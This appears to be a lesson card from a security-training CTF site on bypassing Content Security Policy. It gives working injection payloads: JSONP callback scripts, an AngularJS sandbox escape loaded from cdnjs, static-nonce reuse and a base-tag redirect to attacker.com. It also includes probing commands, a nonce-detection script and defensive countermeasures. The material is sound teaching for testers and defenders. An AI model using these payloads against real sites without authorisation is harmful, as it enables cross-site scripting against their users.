Browse CTFs New CTF Sign in

CSP Bypass: Content Security Policy Circumvention via JSONP Endpoints, Trusted Domain Abuse and Nonce Prediction

web_auth_sessions Difficulty 1–5 30 min certifiable

Theory

Why This Matters

Content Security Policy is the primary browser-enforced defence against XSS, yet misconfigured CSP headers are pervasive. Google's CSP Evaluator tool, applied to a random sample of top-1000 websites, found that the vast majority of deployed CSPs contain bypasses. Real-world bug bounty reports regularly include XSS with CSP bypass as the complete finding because demonstrating execution despite a CSP is required to receive a bounty payout. Understanding CSP bypass techniques is essential for accurate XSS impact assessment and for advising defenders on the specific changes required to make their policy effective.

Core Concept

Content Security Policy is an HTTP response header (Content-Security-Policy) that instructs browsers to restrict from which sources scripts, styles, images, and other resources may be loaded and executed. A well-configured CSP prevents XSS from executing even when the HTML injection succeeds.

Key directives: - script-src — controls script source allowlist (falls back to default-src) - default-src — catch-all for unspecified directives - unsafe-inline — permits inline <script> tags and event handlers; negates XSS protection - unsafe-eval — permits eval(), setTimeout(string), new Function(); negates eval-based XSS protection - nonce-<random> — permits inline scripts bearing a matching nonce="<random>" attribute - strict-dynamic — allows scripts loaded by trusted scripts to load further scripts (reduces allowlist maintenance burden) - base-uri — controls <base> tag target; missing base-uri allows base tag injection

JSONP-based bypass: if the CSP allows a domain that hosts a JSONP endpoint (script-src trusted.example.com), an attacker can inject: <script src="https://trusted.example.com/jsonp?callback=alert(1)"></script>. The response alert(1)(...) executes the payload. Many CDNs and analytics platforms host JSONP endpoints.

CDN-based bypass: cdnjs.cloudflare.com is commonly allowlisted. An attacker can load any library hosted on cdnjs, including AngularJS 1.x, which can then be used for a client-side template injection sandbox escape.

Nonce reuse: if a nonce value is static (the same value used on every page load), an attacker who can read the page source can extract the nonce and use it on their injected script. Nonces must be cryptographically random and unique per response.

base-uri injection: if the CSP lacks base-uri 'none' or base-uri 'self', an attacker can inject <base href="https://attacker.com/"> which causes all relative URLs to resolve to attacker-controlled origins, enabling script src redirection.

meta tag CSP: <meta http-equiv="Content-Security-Policy" ...> can be injected via HTML injection to override the header-based CSP in some browser versions.

Technical Deep-Dive

# Example weak CSP header (contains bypasses):
Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com https://analytics.example.com; default-src 'self'

# Bypass 1: JSONP on analytics.example.com
# Inject: <script src="https://analytics.example.com/api?callback=alert(1)"></script>
# Response: alert(1)({"status":"ok"}) → executes alert(1)

# Bypass 2: AngularJS via cdnjs
# Inject:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app>{{constructor.constructor('alert(document.domain)')()}}</div>
# AngularJS evaluates the expression, calls constructor.constructor (Function),
# and executes the injected JavaScript

# Strict CSP with nonce (strong — hard to bypass):
Content-Security-Policy: script-src 'nonce-r4nd0m1234' 'strict-dynamic'; base-uri 'none'
# This policy is strong IF the nonce is random per response
# Bypass: nonce reuse — if nonce is static, extract it and inject:
# <script nonce="r4nd0m1234">alert(1)</script>
# Nonce reuse detection:
import requests, re

responses = [requests.get('https://target.example.com/').text for _ in range(5)]
nonces = [re.search(r'nonce="([^"]+)"', r) for r in responses]
nonce_values = [n.group(1) for n in nonces if n]
if len(set(nonce_values)) == 1:
    print(f"Static nonce detected: {nonce_values[0]}")
    # Attacker can use this nonce value in injected script tag
# CSP Evaluator (Google) — paste CSP header for automated analysis:
# https://csp-evaluator.withgoogle.com/
# Identifies: unsafe-inline, unsafe-eval, wildcard origins, JSONP bypass candidates

# Burp Suite CSP analysis:
# Passive scanner flags weak CSP directives automatically in HTTP history

# Manual bypass testing process:
# 1. Extract CSP from response headers:
curl -I https://target.example.com/ | grep -i content-security-policy

# 2. Identify allowlisted domains:
# Check each for JSONP endpoints:
curl "https://allowlisted.cdn.com/api?callback=test"
# If response starts with: test( → JSONP endpoint exists

# 3. Check for AngularJS on cdnjs:
# Search cdnjs for angular: https://cdnjs.cloudflare.com/ajax/libs/angular.js/
# Test injection with ng-app div + expression

Security Assessment Methodology

  1. Extract the CSP header — Run curl -I or capture in Burp. Note every allowlisted domain, presence of unsafe-inline, unsafe-eval, and nonce/hash values.
  2. Run CSP Evaluator — Paste the policy into Google CSP Evaluator for automated bypass identification. Note all HIGH and MEDIUM findings.
  3. Probe allowlisted domains for JSONP — For each allowlisted domain, test known JSONP endpoint paths (/jsonp?callback=test, /api/jsonp?cb=test, /data?format=jsonp). A callback=test response starting with test( confirms a usable endpoint.
  4. Check for CDN Angular bypass — If cdnjs.cloudflare.com or ajax.googleapis.com is allowlisted, test an AngularJS injection with ng-app and constructor.constructor().
  5. Test nonce reuse — Request the page five times and compare nonce values. A static nonce is directly exploitable if HTML injection exists.
  6. Test base-uri injection — If base-uri is absent from the CSP, inject <base href="https://attacker.com/"> and observe whether relative-path script loads redirect to the attacker origin.
  7. Demonstrate end-to-end — Combine the XSS injection point with the CSP bypass technique to execute alert(document.domain) in the browser, proving the CSP does not prevent exploitation.

Defensive Countermeasure — Use a strict CSP: script-src 'nonce-{random}' 'strict-dynamic'; base-uri 'none'; object-src 'none'. Generate a cryptographically random nonce (minimum 128 bits, base64-encoded) per response using secrets.token_urlsafe(16) (Python) or crypto.randomBytes(16) (Node.js). Never use unsafe-inline or unsafe-eval except as a temporary migration measure. Avoid domain-based allowlists for scripts — every allowlisted domain is a potential bypass if it hosts a JSONP endpoint. Use Google CSP Evaluator or report-uri telemetry to identify violations in production before enforcing.

Common Assessment Errors

  • Not testing JSONP on allowlisted domains — Testers note a domain allowlist but do not probe each domain for JSONP endpoints. JSONP endpoints on CDNs and analytics platforms are extremely common.
  • Missing Angular via cdnjs — The cdnjs AngularJS bypass is well-documented but frequently omitted in assessments because it requires combining two steps (load Angular + inject expression).
  • Accepting a CSP as secure without reviewing nonce generation — A nonce-based CSP is only secure if the nonce is generated randomly per response. Static nonces are commonly found in server-side rendered applications with caching issues.
  • Forgetting base-uribase-uri is missing from many CSPs because developers focus on script-src. Its absence enables base-tag injection to redirect relative script URLs.
  • Not testing meta CSP injection — If HTML injection allows inserting a <meta> tag, a meta CSP may override or supplement the header CSP depending on the browser.
  • Treating a CSP bypass as a separate finding from XSS — CSP bypass only has impact when combined with an XSS injection point. Always link CSP bypass evidence to a demonstrated XSS execution in the report.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Develops understanding of CSP directives, bypass categories, and nonce/hash mechanisms
K0070 Knowledge of system and application security threats and vulnerabilities Covers JSONP bypass, CDN Angular bypass, nonce reuse, and base-uri injection techniques
S0001 Skill in conducting vulnerability scans Trains CSP Evaluator usage and JSONP endpoint probing methodology
S0044 Skill in mimicking threat behaviors Builds adversarial skill in identifying and chaining CSP bypass techniques
T0028 Test system security controls Covers CSP header configuration review and nonce generation assessment
T0028 Test system security controls Covers strict-dynamic vs domain-allowlist policy strength comparison

Further Reading

  • Content Security Policy Level 3 Specification — W3C, w3.org
  • CSP Is Dead, Long Live CSP — Lukas Weichselbaum et al., CCS 2016 (research paper)
  • CSP Evaluator Documentation — Google Security Engineering (csp-evaluator.withgoogle.com)

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.